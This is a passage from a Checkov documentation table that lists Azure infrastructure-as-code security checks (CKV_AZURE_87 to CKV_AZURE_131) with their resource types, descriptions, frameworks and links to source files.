[AzureDefenderOnContainerRegistry.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnContainerRegistry.py) | | 5818 | CKV_AZURE_87 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Key Vault | arm | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py) | | 5819 | CKV_AZURE_87 | resource | Microsoft.Security/pricings | Ensure that Azure Defender is set to On for Key Vault | Bicep | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py) | | 5820 | CKV_AZURE_87 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Key Vault | Terraform | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnKeyVaults.py) | | 5821 | CKV_AZURE_88 | resource | Microsoft.Web/sites/config | Ensure that app services use Azure Files | arm | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceUsedAzureFiles.py) | | 5822 | CKV_AZURE_88 | resource | Microsoft.Web/sites/config | Ensure that app services use Azure Files | Bicep | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceUsedAzureFiles.py) | | 5823 | CKV_AZURE_88 | resource | azurerm_app_service | Ensure that app services use Azure Files | Terraform | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py) | | 5824 | CKV_AZURE_88 | resource | azurerm_linux_web_app | Ensure that app services use Azure Files | Terraform | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py) | | 5825 | CKV_AZURE_88 | resource | azurerm_windows_web_app | Ensure that app services use Azure Files | Terraform | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py) | | 5826 | CKV_AZURE_89 | resource | Microsoft.Cache/redis | Ensure that Azure Cache for Redis disables public network access | arm | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py) | | 5827 | CKV_AZURE_89 | resource | Microsoft.Cache/redis | Ensure that Azure Cache for Redis disables public network access | Bicep | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py) | | 5828 | CKV_AZURE_89 | resource | azurerm_redis_cache | Ensure that Azure Cache for Redis disables public network access | Terraform | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCachePublicNetworkAccessEnabled.py) | | 5829 | CKV_AZURE_91 | resource | azurerm_redis_cache | Ensure that only SSL are enabled for Cache for Redis | Terraform | [RedisCacheEnableNonSSLPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheEnableNonSSLPort.py) | | 5830 | CKV_AZURE_92 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual Machines use managed disks | arm | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMStorageOsDisk.py) | | 5831 | CKV_AZURE_92 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual Machines use managed disks | Bicep | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMStorageOsDisk.py) | | 5832 | CKV_AZURE_92 | resource | azurerm_linux_virtual_machine | Ensure that Virtual Machines use managed disks | Terraform | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMStorageOsDisk.py) | | 5833 | CKV_AZURE_92 | resource | azurerm_windows_virtual_machine | Ensure that Virtual Machines use managed disks | Terraform | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMStorageOsDisk.py) | | 5834 | CKV_AZURE_93 | resource | Microsoft.Compute/disks | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption | arm | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py) | | 5835 | CKV_AZURE_93 | resource | Microsoft.Compute/disks | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption | Bicep | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py) | | 5836 | CKV_AZURE_93 | resource | azurerm_managed_disk | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption | Terraform | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureManagedDiskEncryptionSet.py) | | 5837 | CKV_AZURE_94 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure that My SQL server enables geo-redundant backups | arm | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLGeoBackupEnabled.py) | | 5838 | CKV_AZURE_94 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure that My SQL server enables geo-redundant backups | Bicep | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLGeoBackupEnabled.py) | | 5839 | CKV_AZURE_94 | resource | azurerm_mysql_flexible_server | Ensure that My SQL server enables geo-redundant backups | Terraform | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py) | | 5840 | CKV_AZURE_94 | resource | azurerm_mysql_server | Ensure that My SQL server enables geo-redundant backups | Terraform | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py) | | 5841 | CKV_AZURE_95 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets | arm | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py) | | 5842 | CKV_AZURE_95 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets | Bicep | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py) | | 5843 | CKV_AZURE_95 | resource | azurerm_virtual_machine_scale_set | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets | Terraform | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMScaleSetsAutoOSImagePatchingEnabled.py) | | 5844 | CKV_AZURE_96 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure that MySQL server enables infrastructure encryption | arm | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLEncryptionEnabled.py) | | 5845 | CKV_AZURE_96 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure that MySQL server enables infrastructure encryption | Bicep | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLEncryptionEnabled.py) | | 5846 | CKV_AZURE_96 | resource | azurerm_mysql_server | Ensure that MySQL server enables infrastructure encryption | Terraform | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLEncryptionEnabled.py) | | 5847 | CKV_AZURE_97 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that Virtual machine scale sets have encryption at host enabled | arm | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py) | | 5848 | CKV_AZURE_97 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that Virtual machine scale sets have encryption at host enabled | Bicep | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py) | | 5849 | CKV_AZURE_97 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual machine scale sets have encryption at host enabled | arm | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py) | | 5850 | CKV_AZURE_97 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual machine scale sets have encryption at host enabled | Bicep | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py) | | 5851 | CKV_AZURE_97 | resource | azurerm_linux_virtual_machine_scale_set | Ensure that Virtual machine scale sets have encryption at host enabled | Terraform | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py) | | 5852 | CKV_AZURE_97 | resource | azurerm_windows_virtual_machine_scale_set | Ensure that Virtual machine scale sets have encryption at host enabled | Terraform | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py) | | 5853 | CKV_AZURE_98 | resource | azurerm_container_group | Ensure that Azure Container group is deployed into virtual network | Terraform | [AzureContainerGroupDeployedIntoVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerGroupDeployedIntoVirtualNetwork.py) | | 5854 | CKV_AZURE_99 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure Cosmos DB accounts have restricted access | arm | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py) | | 5855 | CKV_AZURE_99 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure Cosmos DB accounts have restricted access | Bicep | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py) | | 5856 | CKV_AZURE_99 | resource | azurerm_cosmosdb_account | Ensure Cosmos DB accounts have restricted access | Terraform | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBAccountsRestrictedAccess.py) | | 5857 | CKV_AZURE_100 | resource | Microsoft.DocumentDb/databaseAccounts | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest | arm | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBHaveCMK.py) | | 5858 | CKV_AZURE_100 | resource | Microsoft.DocumentDb/databaseAccounts | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest | Bicep | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBHaveCMK.py) | | 5859 | CKV_AZURE_100 | resource | azurerm_cosmosdb_account | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest | Terraform | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBHaveCMK.py) | | 5860 | CKV_AZURE_101 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure that Azure Cosmos DB disables public network access | arm | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py) | | 5861 | CKV_AZURE_101 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure that Azure Cosmos DB disables public network access | Bicep | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py) | | 5862 | CKV_AZURE_101 | resource | azurerm_cosmosdb_account | Ensure that Azure Cosmos DB disables public network access | Terraform | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBDisablesPublicNetwork.py) | | 5863 | CKV_AZURE_102 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server enables geo-redundant backups | arm | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py) | | 5864 | CKV_AZURE_102 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server enables geo-redundant backups | Bicep | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py) | | 5865 | CKV_AZURE_102 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server enables geo-redundant backups | Terraform | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgressSQLGeoBackupEnabled.py) | | 5866 | CKV_AZURE_103 | resource | Microsoft.DataFactory/factories | Ensure that Azure Data Factory uses Git repository for source control | arm | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryUsesGitRepository.py) | | 5867 | CKV_AZURE_103 | resource | Microsoft.DataFactory/factories | Ensure that Azure Data Factory uses Git repository for source control | Bicep | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryUsesGitRepository.py) | | 5868 | CKV_AZURE_103 | resource | azurerm_data_factory | Ensure that Azure Data Factory uses Git repository for source control | Terraform | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataFactoryUsesGitRepository.py) | | 5869 | CKV_AZURE_104 | resource | Microsoft.DataFactory/factories | Ensure that Azure Data factory public network access is disabled | arm | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py) | | 5870 | CKV_AZURE_104 | resource | Microsoft.DataFactory/factories | Ensure that Azure Data factory public network access is disabled | Bicep | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py) | | 5871 | CKV_AZURE_104 | resource | azurerm_data_factory | Ensure that Azure Data factory public network access is disabled | Terraform | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataFactoryNoPublicNetworkAccess.py) | | 5872 | CKV_AZURE_105 | resource | Microsoft.DataLakeStore/accounts | Ensure that Data Lake Store accounts enables encryption | arm | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataLakeStoreEncryption.py) | | 5873 | CKV_AZURE_105 | resource | Microsoft.DataLakeStore/accounts | Ensure that Data Lake Store accounts enables encryption | Bicep | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataLakeStoreEncryption.py) | | 5874 | CKV_AZURE_105 | resource | azurerm_data_lake_store | Ensure that Data Lake Store accounts enables encryption | Terraform | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataLakeStoreEncryption.py) | | 5875 | CKV_AZURE_106 | resource | azurerm_eventgrid_domain | Ensure that Azure Event Grid Domain public network access is disabled | Terraform | [EventgridDomainNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainNetworkAccess.py) | | 5876 | CKV_AZURE_107 | resource | Microsoft.ApiManagement/service | Ensure that API management services use virtual networks | arm | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py) | | 5877 | CKV_AZURE_107 | resource | Microsoft.ApiManagement/service | Ensure that API management services use virtual networks | Bicep | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py) | | 5878 | CKV_AZURE_107 | resource | azurerm_api_management | Ensure that API management services use virtual networks | Terraform | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIServicesUseVirtualNetwork.py) | | 5879 | CKV_AZURE_108 | resource | azurerm_iothub | Ensure that Azure IoT Hub disables public network access | Terraform | [IoTNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/IoTNoPublicNetworkAccess.py) | | 5880 | CKV_AZURE_109 | resource | Microsoft.KeyVault/vaults | Ensure that key vault allows firewall rules settings | arm | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py) | | 5881 | CKV_AZURE_109 | resource | Microsoft.KeyVault/vaults | Ensure that key vault allows firewall rules settings | Bicep | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py) | | 5882 | CKV_AZURE_109 | resource | azurerm_key_vault | Ensure that key vault allows firewall rules settings | Terraform | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesFirewallRulesSettings.py) | | 5883 | CKV_AZURE_110 | resource | Microsoft.KeyVault/vaults | Ensure that key vault enables purge protection | arm | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py) | | 5884 | CKV_AZURE_110 | resource | Microsoft.KeyVault/vaults | Ensure that key vault enables purge protection | Bicep | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py) | | 5885 | CKV_AZURE_110 | resource | azurerm_key_vault | Ensure that key vault enables purge protection | Terraform | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesPurgeProtection.py) | | 5886 | CKV_AZURE_111 | resource | Microsoft.KeyVault/vaults | Ensure that key vault enables soft delete | arm | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py) | | 5887 | CKV_AZURE_111 | resource | Microsoft.KeyVault/vaults | Ensure that key vault enables soft delete | Bicep | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py) | | 5888 | CKV_AZURE_111 | resource | azurerm_key_vault | Ensure that key vault enables soft delete | Terraform | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesSoftDelete.py) | | 5889 | CKV_AZURE_112 | resource | Microsoft.KeyVault/vaults/keys | Ensure that key vault key is backed by HSM | arm | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyBackedByHSM.py) | | 5890 | CKV_AZURE_112 | resource | Microsoft.KeyVault/vaults/keys | Ensure that key vault key is backed by HSM | Bicep | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyBackedByHSM.py) | | 5891 | CKV_AZURE_112 | resource | azurerm_key_vault_key | Ensure that key vault key is backed by HSM | Terraform | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyBackedByHSM.py) | | 5892 | CKV_AZURE_113 | resource | Microsoft.Sql/servers | Ensure that SQL server disables public network access | arm | [SQLServerHasPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py) | | 5893 | CKV_AZURE_113 | resource | Microsoft.Sql/servers | Ensure that SQL server disables public network access | Bicep | [SQLServerHasPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py) | | 5894 | CKV_AZURE_113 | resource | azurerm_mssql_server | Ensure that SQL server disables public network access | Terraform | [SQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerPublicAccessDisabled.py) | | 5895 | CKV_AZURE_114 | resource | Microsoft.KeyVault/vaults/secrets | Ensure that key vault secrets have "content_type" set | arm | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretContentType.py) | | 5896 | CKV_AZURE_114 | resource | Microsoft.KeyVault/vaults/secrets | Ensure that key vault secrets have "content_type" set | Bicep | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretContentType.py) | | 5897 | CKV_AZURE_114 | resource | azurerm_key_vault_secret | Ensure that key vault secrets have "content_type" set | Terraform | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecretContentType.py) | | 5898 | CKV_AZURE_115 | resource | azurerm_kubernetes_cluster | Ensure that AKS enables private clusters | Terraform | [AKSEnablesPrivateClusters.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEnablesPrivateClusters.py) | | 5899 | CKV_AZURE_116 | resource | azurerm_kubernetes_cluster | Ensure that AKS uses Azure Policies Add-on | Terraform | [AKSUsesAzurePoliciesAddon.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUsesAzurePoliciesAddon.py) | | 5900 | CKV_AZURE_117 | resource | azurerm_kubernetes_cluster | Ensure that AKS uses disk encryption set | Terraform | [AKSUsesDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUsesDiskEncryptionSet.py) | | 5901 | CKV_AZURE_118 | resource | azurerm_network_interface | Ensure that Network Interfaces disable IP forwarding | Terraform | [NetworkInterfaceEnableIPForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NetworkInterfaceEnableIPForwarding.py) | | 5902 | CKV_AZURE_119 | resource | azurerm_network_interface | Ensure that Network Interfaces don't use public IPs | Terraform | [AzureNetworkInterfacePublicIPAddressId.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureNetworkInterfacePublicIPAddressId.yaml) | | 5903 | CKV_AZURE_120 | resource | azurerm_application_gateway | Ensure that Application Gateway enables WAF | Terraform | [ApplicationGatewayEnablesWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml) | | 5904 | CKV_AZURE_120 | resource | azurerm_web_application_firewall_policy | Ensure that Application Gateway enables WAF | Terraform | [ApplicationGatewayEnablesWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml) | | 5905 | CKV_AZURE_121 | resource | Microsoft.Network/frontDoors | Ensure that Azure Front Door enables WAF | arm | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py) | | 5906 | CKV_AZURE_121 | resource | Microsoft.Network/frontDoors | Ensure that Azure Front Door enables WAF | Bicep | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py) | | 5907 | CKV_AZURE_121 | resource | azurerm_frontdoor | Ensure that Azure Front Door enables WAF | Terraform | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFrontDoorEnablesWAF.py) | | 5908 | CKV_AZURE_122 | resource | azurerm_web_application_firewall_policy | Ensure that Application Gateway uses WAF in "Detection" or "Prevention" modes | Terraform | [AppGWUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWUseWAFMode.py) | | 5909 | CKV_AZURE_123 | resource | Microsoft.Network/FrontDoorWebApplicationFirewallPolicies | Ensure that Azure Front Door uses WAF in "Detection" or "Prevention" modes | arm | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontdoorUseWAFMode.py) | | 5910 | CKV_AZURE_123 | resource | Microsoft.Network/FrontDoorWebApplicationFirewallPolicies | Ensure that Azure Front Door uses WAF in "Detection" or "Prevention" modes | Bicep | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontdoorUseWAFMode.py) | | 5911 | CKV_AZURE_123 | resource | azurerm_frontdoor_firewall_policy | Ensure that Azure Front Door uses WAF in "Detection" or "Prevention" modes | Terraform | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FrontdoorUseWAFMode.py) | | 5912 | CKV_AZURE_124 | resource | azurerm_search_service | Ensure that Azure Cognitive Search disables public network access | Terraform | [AzureSearchPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchPublicNetworkAccessDisabled.py) | | 5913 | CKV_AZURE_125 | resource | Microsoft.ServiceFabric/clusters | Ensures that Service Fabric use three levels of protection available | arm | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py) | | 5914 | CKV_AZURE_125 | resource | Microsoft.ServiceFabric/clusters | Ensures that Service Fabric use three levels of protection available | Bicep | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py) | | 5915 | CKV_AZURE_125 | resource | azurerm_service_fabric_cluster | Ensures that Service Fabric use three levels of protection available | Terraform | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServiceFabricClusterProtectionLevel.py) | | 5916 | CKV_AZURE_126 | resource | azurerm_service_fabric_cluster | Ensures that Active Directory is used for authentication for Service Fabric | Terraform | [ActiveDirectoryUsedAuthenticationServiceFabric.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ActiveDirectoryUsedAuthenticationServiceFabric.py) | | 5917 | CKV_AZURE_127 | resource | azurerm_mysql_server | Ensure that My SQL server enables Threat detection policy | Terraform | [MySQLTreatDetectionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLTreatDetectionEnabled.py) | | 5918 | CKV_AZURE_128 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server enables Threat detection policy | Terraform | [PostgresSQLTreatDetectionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgresSQLTreatDetectionEnabled.py) | | 5919 | CKV_AZURE_129 | resource | Microsoft.DBforMariaDB/servers | Ensure that MariaDB server enables geo-redundant backups | arm | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py) | | 5920 | CKV_AZURE_129 | resource | Microsoft.DBforMariaDB/servers | Ensure that MariaDB server enables geo-redundant backups | Bicep | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py) | | 5921 | CKV_AZURE_129 | resource | azurerm_mariadb_server | Ensure that MariaDB server enables geo-redundant backups | Terraform | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBGeoBackupEnabled.py) | | 5922 | CKV_AZURE_130 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server enables infrastructure encryption | arm | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py) | | 5923 | CKV_AZURE_130 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server enables infrastructure encryption | Bicep | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py) | | 5924 | CKV_AZURE_130 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server enables infrastructure encryption | Terraform | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLEncryptionEnabled.py) | | 5925 | CKV_AZURE_131 | resource | 